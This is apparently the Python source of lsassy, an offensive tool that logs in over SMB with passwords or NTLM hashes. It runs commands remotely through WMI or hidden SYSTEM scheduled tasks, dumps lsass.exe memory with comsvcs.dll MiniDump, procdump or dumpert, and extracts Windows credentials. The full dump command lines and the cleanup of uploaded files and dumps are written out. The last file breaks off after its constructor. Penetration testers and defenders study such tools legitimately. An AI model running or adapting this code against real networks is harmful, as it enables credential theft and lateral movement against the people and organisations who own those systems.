6 from .core import Lsassy
7 from .modules.dumper import Dumper
8 from .modules.logger import Logger
9 from .modules.parser import Parser
10 from .modules.writer import Writer
11
12 __all__ = ["Lsassy", "Dumper", "Logger", "Parser", "Writer"]
13
14 name = "lsassy"
15
0 #!/usr/bin/env python3
1 # Author:
2 # Romain Bentz (pixis - @hackanddo)
3 # Website:
4 # https://beta.hackndo.com
5
6 from multiprocessing import Process, RLock
7
8 from lsassy.modules.dumper import Dumper
9 from lsassy.modules.impacketconnection import ImpacketConnection
10 from lsassy.modules.logger import Logger
11 from lsassy.modules.parser import Parser
12 from lsassy.modules.writer import Writer
13 from lsassy.utils.utils import *
14
15 lock = RLock()
16
17
18 class Lsassy:
19 def __init__(self,
20 hostname, username, domain="", password="", lmhash="", nthash="",
21 kerberos=False, aesKey="", dc_ip=None,
22 log_options=Logger.Options(),
23 dump_options=Dumper.Options(),
24 parse_options=Parser.Options(),
25 write_options=Writer.Options()
26 ):
27
28 self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash, kerberos, aesKey, dc_ip)
29 self.log_options = log_options
30 self.dump_options = dump_options
31 self.parse_options = parse_options
32 self.write_options = write_options
33
34 self._target = hostname
35
36 self._log = Logger(self._target, log_options)
37
38 self._conn = None
39 self._dumper = None
40 self._parser = None
41 self._dumpfile = None
42 self._credentials = []
43 self._writer = None
44
45 def connect(self, options: ImpacketConnection.Options):
46 self._conn = ImpacketConnection(options)
47 self._conn.set_logger(self._log)
48 login_result = self._conn.login()
49 if not login_result.success():
50 return login_result
51
52 self._log.info("Authenticated")
53 return RetCode(ERROR_SUCCESS)
54
55 def dump_lsass(self, options=Dumper.Options()):
56 is_admin = self._conn.isadmin()
57 if not is_admin.success():
58 self._conn.close()
59 return is_admin
60
61 self._dumper = Dumper(self._conn, options)
62 dump_result = self._dumper.dump()
63 if not dump_result.success():
64 return dump_result
65 self._dumpfile = self._dumper.getfile()
66
67 self._log.info("Process lsass.exe has been dumped")
68 return RetCode(ERROR_SUCCESS)
69
70 def parse_lsass(self, options=Dumper.Options()):
71 self._parser = Parser(self._dumpfile, options)
72 parse_result = self._parser.parse()
73 if not parse_result.success():
74 return parse_result
75
76 self._credentials = self._parser.get_credentials()
77 self._log.info("Process lsass.exe has been parsed")
78 return RetCode(ERROR_SUCCESS)
79
80 def write_credentials(self, options=Writer.Options()):
81 self._writer = Writer(self._target, self._credentials, self._log, options)
82 write_result = self._writer.write()
83 if not write_result.success():
84 return write_result
85
86 return RetCode(ERROR_SUCCESS)
87
88 def clean(self):
89 if self._parser:
90 r = self._parser.clean()
91 if not r.success():
92 lsassy_warn(self._log, r)
93
94 if self._dumper:
95 r = self._dumper.clean()
96 if not r.success():
97 lsassy_warn(self._log, r)
98
99 if self._conn:
100 r = self._conn.clean()
101 if not r.success():
102 lsassy_warn(self._log, r)
103
104 self._log.info("Cleaning complete")
105
106 def get_credentials(self):
107 return_code = self.run()
108 self._writer = Writer(self._target, self._credentials, self._log, self.write_options)
109 ret = {
110 "success": True,
111 "credentials": self._writer.get_output()
112 }
113 if not return_code.success():
114 ret["success"] = False
115 ret["error_code"] = return_code.error_code
116 ret["error_msg"] = return_code.error_msg
117 ret["error_exception"] = return_code.error_exception
118
119 return ret
120
121 def run(self):
122 return_code = ERROR_UNDEFINED
123 try:
124 return_code = self._run()
125 except KeyboardInterrupt as e:
126 print("")
127 self._log.warn("Quitting gracefully...")
128 return_code = RetCode(ERROR_USER_INTERRUPTION)
129 except Exception as e:
130 return_code = RetCode(ERROR_UNDEFINED, e)
131 finally:
132 self.clean()
133 lsassy_exit(self._log, return_code)
134 return return_code
135
136 def _run(self):
137 """
138 Extract hashes from arguments
139 """
140
141 r = self.connect(self.conn_options)
142 if not r.success():
143 return r
144 r = self.dump_lsass(self.dump_options)
145 if not r.success():
146 return r
147 r = self.parse_lsass(self.parse_options)
148 if not r.success():
149 return r
150 r = self.write_credentials(self.write_options)
151 if not r.success():
152 return r
153 return RetCode(ERROR_SUCCESS)
154
155
156 class CLI:
157 def __init__(self, target):
158 self.conn_options = ImpacketConnection.Options()
159 self.log_options = Logger.Options()
160 self.dump_options = Dumper.Options()
161 self.parse_options = Parser.Options()
162 self.write_options = Writer.Options()
163 self.lsassy = None
164 self.target = target
165
166 def set_options_from_args(self, args):
167 # Logger Options
168 self.log_options.verbosity = args.v
169 self.log_options.quiet = args.quiet
170
171 # Connection Options
172 self.conn_options.hostname = self.target
173 self.conn_options.domain_name = '' if args.domain is None else args.domain
174 self.conn_options.username = '' if args.username is None else args.username
175 self.conn_options.kerberos = args.kerberos
176 self.conn_options.aes_key = '' if args.aesKey is None else args.aesKey
177 self.conn_options.dc_ip = args.dc_ip
178 self.conn_options.password = '' if args.password is None else args.password
179 if not self.conn_options.password and args.hashes:
180 if ":" in args.hashes:
181 self.conn_options.lmhash, self.conn_options.nthash = args.hashes.split(":")
182 else:
183 self.conn_options.lmhash, self.conn_options.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
184
185 # Dumper Options
186 self.dump_options.dumpname = args.dumpname
187 self.dump_options.procdump_path = args.procdump
188 self.dump_options.dumpert_path = args.dumpert
189 self.dump_options.method = args.method
190 self.dump_options.timeout = args.timeout
191
192 # Parser Options
193 self.parse_options.raw = args.raw
194
195 # Writer Options
196 self.write_options.output_file = args.outfile
197 self.write_options.format = args.format
198 self.write_options.quiet = args.quiet
199
200 def run(self):
201 args = get_args()
202 self.set_options_from_args(args)
203 self.lsassy = Lsassy(
204 self.conn_options.hostname,
205 self.conn_options.username,
206 self.conn_options.domain_name,
207 self.conn_options.password,
208 self.conn_options.lmhash,
209 self.conn_options.nthash,
210 self.conn_options.kerberos,
211 self.conn_options.aesKey,
212 self.conn_options.dc_ip,
213 log_options=self.log_options,
214 dump_options=self.dump_options,
215 parse_options=self.parse_options,
216 write_options=self.write_options
217 )
218 return self.lsassy.run()
219
220
221 def run():
222 targets = get_targets(get_args().target)
223
224 if len(targets) == 1:
225 return CLI(targets[0]).run().error_code
226
227 jobs = [Process(target=CLI(target).run) for target in targets]
228 try:
229 for job in jobs:
230 job.start()
231 except KeyboardInterrupt as e:
232 print("\nQuitting gracefully...")
233 terminate_jobs(jobs)
234 finally:
235 join_jobs(jobs)
236
237 return 0
238
239
240 if __name__ == '__main__':
241 run()
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket atexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py
8
9 import random
10 import string
11 import time
12
13 from impacket.dcerpc.v5 import tsch, transport
14 from impacket.dcerpc.v5.dtypes import NULL
15 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
16
17
18 class TASK_EXEC:
19 def __init__(self, conn, log):
20 self._conn = conn
21 self._log = log
22
23 stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self._conn.hostname
24 self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
25
26 if hasattr(self._rpctransport, 'set_credentials'):
27 self._rpctransport.set_credentials(self._conn.username, self._conn.password, self._conn.domain_name,
28 self._conn.lmhash, self._conn.nthash, self._conn.aesKey)
29 self._rpctransport.set_kerberos(self._conn.kerberos, self._conn.dc_ip)
30
31 def execute(self, commands):
32 dce = self._rpctransport.get_dce_rpc()
33
34 dce.set_credentials(*self._rpctransport.get_credentials())
35 if self._conn.kerberos:
36 dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
37 dce.connect()
38 dce.bind(tsch.MSRPC_UUID_TSCHS)
39 xml = self.gen_xml(commands)
40 tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
41 self._log.debug("Register random task {}".format(tmpName))
42 tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
43 tsch.hSchRpcRun(dce, '\\%s' % tmpName)
44 done = False
45 while not done:
46 resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
47 if resp['pLastRuntime']['wYear'] != 0:
48 done = True
49 else:
50 time.sleep(2)
51
52 time.sleep(3)
53 tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
54 dce.disconnect()
55
56 def gen_xml(self, commands):
57
58 return """<?xml version="1.0" encoding="UTF-16"?>
59 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
60 <Triggers>
61 <CalendarTrigger>
62 <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
63 <Enabled>true</Enabled>
64 <ScheduleByDay>
65 <DaysInterval>1</DaysInterval>
66 </ScheduleByDay>
67 </CalendarTrigger>
68 </Triggers>
69 <Principals>
70 <Principal id="LocalSystem">
71 <UserId>S-1-5-18</UserId>
72 <RunLevel>HighestAvailable</RunLevel>
73 </Principal>
74 </Principals>
75 <Settings>
76 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
77 <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
78 <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
79 <AllowHardTerminate>true</AllowHardTerminate>
80 <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
81 <IdleSettings>
82 <StopOnIdleEnd>true</StopOnIdleEnd>
83 <RestartOnIdle>false</RestartOnIdle>
84 </IdleSettings>
85 <AllowStartOnDemand>true</AllowStartOnDemand>
86 <Enabled>true</Enabled>
87 <Hidden>true</Hidden>
88 <RunOnlyIfIdle>false</RunOnlyIfIdle>
89 <WakeToRun>false</WakeToRun>
90 <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
91 <Priority>7</Priority>
92 </Settings>
93 <Actions Context="LocalSystem">
94 {}
95 </Actions>
96 </Task>
97 """.format(self.gen_commands(commands))
98
99 def gen_commands(self, commands):
100 ret = ""
101 for command in commands:
102 ret += """
103 <Exec>
104 <Command>cmd.exe</Command>
105 <Arguments>/C {}</Arguments>
106 </Exec>""".format(command)
107
108 return ret
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket wmiexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/wmiexec.py
8
9 import socket
10
11 from impacket.dcerpc.v5.dcom import wmi
12 from impacket.dcerpc.v5.dcomrt import DCOMConnection
13 from impacket.dcerpc.v5.dtypes import NULL
14
15
16 class WMI:
17 def __init__(self, connection, logger):
18 self.conn = connection
19 if not self.conn.kerberos:
20 self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0]
21 self.log = logger
22 self.win32Process = None
23 self.iWbemServices = None
24 self.buffer = ""
25 self.dcom = None
26 self._getwin32process()
27
28 def _buffer_callback(self, data):
29 self.buffer += str(data)
30
31 def _getwin32process(self):
32 if self.conn.kerberos:
33 self.log.debug("Trying to authenticate using kerberos ticket")
34 else:
35 self.log.debug("Trying to authenticate using : {}\\{}:{}".format(
36 self.conn.domain_name,
37 self.conn.username,
38 self.conn.password)
39 )
40
41 try:
42 self.dcom = DCOMConnection(
43 self.conn.hostname,
44 self.conn.username,
45 self.conn.password,
46 self.conn.domain_name,
47 self.conn.lmhash,
48 self.conn.nthash,
49 self.conn.aesKey,
50 oxidResolver=True,
51 doKerberos=self.conn.kerberos,
52 kdcHost=self.conn.dc_ip
53 )
54 iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
55 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
56 self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
57 iWbemLevel1Login.RemRelease()
58 self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
59 except KeyboardInterrupt as e:
60 self.dcom.disconnect()
61 raise KeyboardInterrupt(e)
62 except Exception as e:
63 raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e))
64
65 def execute(self, commands):
66 command = " & ".join(commands)
67 try:
68 self.win32Process.Create(command, "C:\\", None)
69 self.iWbemServices.disconnect()
70 self.dcom.disconnect()
71 except KeyboardInterrupt as e:
72 self.log.debug("WMI Execution stopped because of keyboard interruption")
73 self.iWbemServices.disconnect()
74 self.dcom.disconnect()
75 raise KeyboardInterrupt(e)
76 except Exception as e:
77 self.log.debug("Error : {}".format(e))
78 self.iWbemServices.disconnect()
79 self.dcom.disconnect()
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import random
7 import string
8
9 from lsassy.modules.impacketfile import ImpacketFile
10 from lsassy.exec.taskexe import TASK_EXEC
11 from lsassy.exec.wmi import WMI
12 from lsassy.utils.utils import *
13
14
15 class Dumper:
16
17 class Options:
18 def __init__(self, tmp_dir="\\Windows\\Temp\\", share="C$", dumpname=None, procdump="procdump.exe", dumpert="dumpert.exe", procdump_path=None, dumpert_path=None, method=1, timeout=10):
19 self.tmp_dir = tmp_dir
20 self.share = share
21 self.dumpname = dumpname
22 self.procdump = procdump
23 self.dumpert = dumpert
24 self.procdump_path = procdump_path
25 self.dumpert_path = dumpert_path
26 self.method = method
27 self.timeout = timeout
28
29 def __init__(self, connection, options=Options()):
30 self._log = connection.get_logger()
31 self._tmp_dir = options.tmp_dir
32 self._share = options.share
33 self._procdump = options.procdump
34 self._dumpert = options.dumpert
35 self._procdump_path = options.procdump_path
36 self._dumpert_path = options.dumpert_path
37 self._method = options.method
38 self._timeout = options.timeout
39
40 if options.dumpname:
41 self._remote_lsass_dump = options.dumpname
42 if "." not in self._remote_lsass_dump:
43 self._remote_lsass_dump += ".dmp"
44 else:
45 self._remote_lsass_dump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dmp"
46
47 self._conn = connection
48 self._ifile = None
49
50 self._exec_methods = {"wmi": WMI, "task": TASK_EXEC}
51 self._use_procdump = False
52 self._use_dumpert = False
53
54 def getfile(self):
55 if isinstance(self._ifile, ImpacketFile):
56 return self._ifile
57 return RetCode(ERROR_UNDEFINED, Exception("Trying to return an object which is not an Impacket file"))
58
59 def close(self):
60 if isinstance(self._ifile, ImpacketFile):
61 self._ifile.close()
62 return RetCode(ERROR_SUCCESS)
63 return RetCode(ERROR_UNDEFINED, Exception("Trying to close an object which is not an Impacket file"))
64
65 def dump(self):
66 """
67 Dump lsass on remote host. Different methods can be used.
68 If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege
69 is either in Powershell admin context, or cmd.exe SYSTEM context.
70 Two execution methods can be used.
71 1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege)
72 2. ScheduledTask which is SYSTEM context (SeDebugPrivilege).
73 These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try
74 Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task
75 """
76
77 """
78 A "methodology can be described in an array of 3 elements:
79 1. 1st element : Dump method to use (dll, procdump, dumpert)
80 2. Shell context to use (powershell, cmd)
81 3. List of remote execution methods (wmi, task)
82 """
83 if self._method == 0:
84 dump_methodologies = [
85 ["dll", "powershell", ("wmi", "task")],
86 ["dll", "cmd", ("task",)],
87 ["procdump", "cmd", ("wmi", "task")],
88 ["dumpert", "cmd", ("wmi", "task")]
89 ]
90 elif self._method == 1:
91 dump_methodologies = [
92 ["dll", "powershell", ("wmi", "task")],
93 ["dll", "cmd", ("task",)]
94 ]
95 elif self._method == 2:
96 dump_methodologies = [
97 ["procdump", "cmd", ("wmi", "task")]
98 ]
99 elif self._method == 3:
100 dump_methodologies = [
101 ["dll", "powershell", ("wmi", "task")]
102 ]
103 elif self._method == 4:
104 dump_methodologies = [
105 ["dll", "cmd", ("task",)]
106 ]
107 elif self._method == 5:
108 dump_methodologies = [
109 ["dumpert", "cmd", ("wmi", "task")]
110 ]
111 else:
112 self._log.debug("Method \"{}\" is not supported (0-5). See -h for help".format(self._method))
113 return RetCode(ERROR_METHOD_NOT_SUPPORTED)
114
115 ifile = ImpacketFile(self._conn, self._log)
116 for dump_methodology in dump_methodologies:
117 dump_method, exec_shell, exec_methods = dump_methodology
118 self._log.debug("Trying \"{}\" method".format(dump_method))
119 if dump_method == "dll":
120 dumped = self.dll_dump(exec_methods, exec_shell)
121 elif dump_method == "procdump":
122 dumped = self.procdump_dump(exec_methods)
123 elif dump_method == "dumpert":
124 dumped = self.dumpert_dump(exec_methods)
125 else:
126 continue
127 if dumped.success():
128 """
129 If procdump failed, a dumpfile was created, and its content is "FAILED"
130 Best guess is that lsass is protected in some way (PPL, AV, ...)
131 """
132 ret = ifile.open(
133 (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"),
134 timeout=self._timeout
135 )
136 if isinstance(ret, ImpacketFile):
137 if ifile.size() == 0 or (ifile.size() < 100 and ifile.read(6).decode('utf-8') == "FAILED"):
138 ifile.close()
139 return RetCode(ERROR_LSASS_PROTECTED)
140 ifile.seek(0)
141 self._ifile = ifile
142 return RetCode(ERROR_SUCCESS)
143 else:
144 self._log.warn("No dump file found with \"{}\" using \"{}\" exec method.".format(dump_method, exec_shell))
145
146 """
147 If no dump file was found, it means that procdump didn't crash, so it may take more time than expected.
148 """
149 return RetCode(ERROR_SLOW_TARGET)
150
151 def dll_dump(self, exec_methods=("wmi", "task"), exec_shell="cmd"):
152 if exec_shell == "cmd":
153 commands = [
154 """cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {}{} full""".format(
155 self._tmp_dir, self._remote_lsass_dump
156 ),
157 ]
158 elif exec_shell == "powershell":
159 commands = [
160 'powershell.exe -NoP -C "C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id {}{} full;Wait-Process -Id (Get-Process rundll32).id"'.format(
161 self._tmp_dir, self._remote_lsass_dump
162 ),
163 ]
164 else:
165 return RetCode(ERROR_METHOD_NOT_SUPPORTED)
166
167 self._log.debug("Commands : ")
168 for command in commands:
169 self._log.debug("{}".format(command))
170
171 for exec_method in exec_methods:
172 try:
173 self._log.debug("Trying exec method : \"{}\"".format(exec_method))
174 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
175 self._log.debug("Exec method \"{}\" success !".format(exec_method))
176 return RetCode(ERROR_SUCCESS)
177 except Exception as e:
178 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
179 self._log.debug('Error : {}'.format(e))
180 return RetCode(ERROR_DLL_NO_EXECUTE)
181
182 def procdump_dump(self, exec_methods=("wmi", "task")):
183 """
184 Dump lsass with procdump
185 :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK
186 """
187 if not self._procdump_path:
188 self._log.warn("Procdump path has not been provided")
189 return RetCode(ERROR_PROCDUMP_NOT_PROVIDED)
190 # Verify procdump exists on host
191 if not os.path.exists(self._procdump_path):
192 self._log.warn("{} does not exist.".format(self._procdump_path))
193 return RetCode(ERROR_PROCDUMP_NOT_FOUND)
194
195 # Upload procdump
196 self._log.debug('Copy {} to {}'.format(self._procdump_path, self._tmp_dir))
197 with open(self._procdump_path, 'rb') as procdump:
198 try:
199 self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read)
200 except Exception as e:
201 return RetCode(ERROR_PROCDUMP_NOT_UPLOADED)
202 self._use_procdump = True
203
204 # Dump lsass using PID
205 commands = [
206 """cmd.exe /Q /c for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format(
207 self._tmp_dir, self._procdump,
208 self._tmp_dir, self._remote_lsass_dump
209 ),
210 "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format(
211 self._tmp_dir, self._remote_lsass_dump
212 )]
213
214 self._log.debug("Commands : ")
215 for command in commands:
216 self._log.debug("{}".format(command))
217
218 for exec_method in exec_methods:
219 try:
220 self._log.debug("Trying exec method : " + exec_method)
221 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
222 self._log.debug("Exec method \"{}\" success !".format(exec_method))
223 return RetCode(ERROR_SUCCESS)
224 except Exception as e:
225 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
226 self._log.debug("Error : {}".format(str(e)))
227 return RetCode(ERROR_PROCDUMP_NO_EXECUTE)
228
229 def dumpert_dump(self, exec_methods=("wmi", "task")):
230 """
231 Dump lsass with dumpert
232 :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK
233 """
234 if not self._dumpert_path:
235 self._log.warn("dumpert path has not been provided")
236 return RetCode(ERROR_DUMPERT_NOT_PROVIDED)
237 # Verify dumpert exists on host
238 if not os.path.exists(self._dumpert_path):
239 self._log.warn("{} does not exist.".format(self._dumpert_path))
240 return RetCode(ERROR_DUMPERT_NOT_FOUND)
241
242 # Upload dumpert
243 self._log.debug('Copy {} to {}'.format(self._dumpert_path, self._tmp_dir))
244 with open(self._dumpert_path, 'rb') as dumpert:
245 try:
246 self._conn.putFile(self._share, self._tmp_dir + self._dumpert, dumpert.read)
247 except Exception as e:
248 return RetCode(ERROR_DUMPERT_NOT_UPLOADED)
249 self._use_dumpert = True
250 self._remote_lsass_dump = "dumpert.dmp"
251 # Dump lsass using PID
252 commands = [
253 """cmd.exe /Q /c {}{}""".format(
254 self._tmp_dir, self._dumpert
255 ),
256 "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format(
257 self._tmp_dir, self._remote_lsass_dump
258 )]
259
260 for command in commands:
261 self._log.debug("{}".format(command))
262
263 for exec_method in exec_methods:
264 try:
265 self._log.debug("Trying exec method : " + exec_method)
266 self._exec_methods[exec_method](self._conn, self._log).execute(commands)
267 self._log.debug("Exec method \"{}\" success !".format(exec_method))
268 return RetCode(ERROR_SUCCESS)
269 except Exception as e:
270 self._log.warn("Exec method \"{}\" failed.".format(exec_method))
271 self._log.debug("Error : {}".format(str(e)))
272 return RetCode(ERROR_DUMPERT_NO_EXECUTE)
273
274 def clean(self):
275 try:
276 self._ifile.close()
277 except Exception as e:
278 pass
279
280 try:
281 self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump)
282
283 except Exception as e:
284 # STATUS_NO_SUCH_FILE for WinXP
285 if "STATUS_OBJECT_NAME_NOT_FOUND" not in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
286
287 self._log.debug("Dump file \"{}\" wasn't removed. Error : {}".format(
288 self._tmp_dir + self._remote_lsass_dump, str(e)[:100] + "..." if len(str(e)) > 100 else str(e)))
289 try:
290 self._log.debug("Trying to reconnect ...")
291 self._conn.clean()
292 self._conn.login()
293 self._log.debug("Reconnected !")
294 self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump)
295 self._log.debug("Dump file \"{}\" was successfully removed !".format(
296 self._tmp_dir + self._remote_lsass_dump))
297 except:
298 self._log.error("Dump file \"{}\" wasn't removed. An error occurred.".format(self._tmp_dir + self._remote_lsass_dump))
299 lsassy_warn(self._log, RetCode(ERROR_DUMP_CLEANING, e))
300
301 if self._use_procdump:
302 # Delete procdump.exe
303 try:
304 self._conn.deleteFile(self._share, self._tmp_dir + self._procdump)
305 except Exception as e:
306 lsassy_warn(self._log, RetCode(ERROR_PROCDUMP_CLEANING, e))
307
308 if self._use_dumpert:
309 # Delete dumpert.exe
310 try:
311 self._conn.deleteFile(self._share, self._tmp_dir + self._dumpert)
312 except Exception as e:
313 lsassy_warn(self._log, RetCode(ERROR_DUMPERT_CLEANING, e))
314
315 return RetCode(ERROR_SUCCESS)
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import time
7 from socket import getaddrinfo, gaierror
8
9 from impacket.smb3structs import FILE_READ_DATA
10 from impacket.smbconnection import SMBConnection, SessionError
11 from impacket.krb5.types import KerberosException
12
13 from lsassy.utils.defines import *
14 from lsassy.modules.logger import Logger
15
16
17 class ImpacketConnection:
18 class Options:
19 def __init__(self, hostname="", domain_name="", username="", password="",
20 lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5):
21 self.hostname = hostname
22 self.domain_name = domain_name
23 self.username = username
24 self.password = password
25 self.lmhash = lmhash
26 self.nthash = nthash
27 self.timeout = timeout
28 self.kerberos = kerberos
29 self.aesKey = aesKey
30 self.dc_ip = dc_ip
31
32 def __init__(self, options: Options):
33 self.options = options
34 self.hostname = options.hostname
35 self.domain_name = options.domain_name
36 self.username = options.username
37 self.password = options.password
38 self.lmhash = options.lmhash
39 self.nthash = options.nthash
40 self.kerberos = options.kerberos
41 self.aesKey = options.aesKey
42 self.dc_ip = options.dc_ip
43 self.timeout = options.timeout
44 self._log = Logger(self.hostname)
45 self._conn = None
46
47 def get_logger(self):
48 return self._log
49
50 def set_logger(self, logger):
51 self._log = logger
52
53 def login(self):
54 try:
55 ip = list({addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)})[0]
56 if ip != self.hostname:
57 self._log.debug("Host {} resolved to {}".format(self.hostname, ip))
58 except gaierror as e:
59 return RetCode(ERROR_DNS_ERROR, e)
60
61 try:
62 self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout)
63 except Exception as e:
64 return RetCode(ERROR_CONNECTION_ERROR, e)
65
66 username = ''
67 if not self.kerberos:
68 username = self.username.split("@")[0]
69 self._log.debug("Authenticating against {}".format(ip))
70 else:
71 self._log.debug("Authenticating against {}".format(self.hostname))
72
73 try:
74 if not self.kerberos:
75 self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash,
76 nthash=self.nthash, ntlmFallback=True)
77 else:
78 self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash,
79 nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip)
80
81 except SessionError as e:
82 self._log.debug("Provided credentials : {}\\{}:{}".format(self.domain_name, username, self.password))
83 return RetCode(ERROR_LOGIN_FAILURE, e)
84 except KerberosException as e:
85 self._log.debug("Kerberos error")
86 return RetCode(ERROR_LOGIN_FAILURE, e)
87 except Exception as e:
88 return RetCode(ERROR_UNDEFINED, e)
89 return RetCode(ERROR_SUCCESS)
90
91 def connectTree(self, share_name):
92 return self._conn.connectTree(share_name)
93
94 def openFile(self, tid, fpath, timeout: int = 3):
95 self._log.debug("Opening file {}".format(fpath))
96
97 start = time.time()
98
99 while True:
100 try:
101 fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA)
102 self._log.debug("File {} opened".format(fpath))
103 return fid
104 except Exception as e:
105 if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
106 # Output not finished, let's wait
107 if time.time() - start > timeout:
108 raise(Exception(e))
109 time.sleep(1)
110 else:
111 raise Exception(e)
112
113 def queryInfo(self, tid, fid):
114 while True:
115 try:
116 info = self._conn.queryInfo(tid, fid)
117 return info
118 except Exception as e:
119 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
120 # Output not finished, let's wait
121 time.sleep(2)
122 else:
123 raise Exception(e)
124
125 def getFile(self, share_name, path_name, callback):
126 while True:
127 try:
128 self._conn.getFile(share_name, path_name, callback)
129 break
130 except Exception as e:
131 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
132 # Output not finished, let's wait
133 time.sleep(2)
134 else:
135 raise Exception(e)
136
137 def deleteFile(self, share_name, path_name):
138 while True:
139 try:
140 self._conn.deleteFile(share_name, path_name)
141 self._log.debug("File {} deleted".format(path_name))
142 break
143 except Exception as e:
144 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
145 time.sleep(2)
146 else:
147 raise Exception(e)
148
149 def putFile(self, share_name, path_name, callback):
150 try:
151 self._conn.putFile(share_name, path_name, callback)
152 self._log.debug("File {} uploaded".format(path_name))
153 except Exception as e:
154 raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e))
155
156 def readFile(self, tid, fid, offset, size):
157 return self._conn.readFile(tid, fid, offset, size, singleCall=False)
158
159 def closeFile(self, tid, fid):
160 return self._conn.closeFile(tid, fid)
161
162 def disconnectTree(self, tid):
163 return self._conn.disconnectTree(tid)
164
165 def isadmin(self):
166 try:
167 self.connectTree("C$")
168 return RetCode(ERROR_SUCCESS)
169 except Exception as e:
170 return RetCode(ERROR_ACCESS_DENIED, e)
171
172 def close(self):
173 if self._conn is not None:
174 self._log.debug("Closing Impacket connection")
175 self._conn.close()
176
177 def clean(self):
178 try:
179 self.close()
180 return RetCode(ERROR_SUCCESS)
181 except Exception as e:
182 return RetCode(ERROR_CONNECTION_CLEANING, e)
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import re
7
8 from lsassy.utils.defines import *
9
10
11 class ImpacketFile:
12 def __init__(self, connection, log):
13 self._log = log
